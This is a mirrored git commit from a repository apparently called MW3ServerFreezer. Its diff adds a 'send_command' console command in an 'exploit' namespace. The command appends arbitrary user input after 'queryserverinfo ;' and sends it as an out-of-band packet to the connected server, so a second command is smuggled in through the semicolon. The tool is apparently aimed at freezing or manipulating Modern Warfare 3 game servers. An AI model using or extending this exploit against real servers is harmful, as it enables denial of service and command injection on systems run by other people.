mirror of
https://github.com/diamante0018/MW3ServerFreezer.git
synced 2025-04-19 19:52:53 +00:00
Test queryserverinfo oob
This commit is contained in:
parent
c006b315c0
commit
07070fc24c
@ -100,6 +100,17 @@ namespace exploit
|
||||
{
|
||||
game::Dvar_SetBool(cl_exploit, false);
|
||||
});
|
||||
|
||||
command::add("send_command", [](const command::params& params)
|
||||
{
|
||||
if (params.size() < 2) return;
|
||||
|
||||
if (*game::connectionState <= game::connstate_t::CA_CHALLENGING)
|
||||
return;
|
||||
|
||||
const auto cmd = std::format("queryserverinfo ;{}", params.join(1));
|
||||
game::NET_OutOfBandPrint(game::NS_SERVER, game::localClientConnection->serverAddress, cmd.data());
|
||||
});
|
||||
}
|
||||
};
|
||||
}
|
||||
|
Loading…
x
Reference in New Issue
Block a user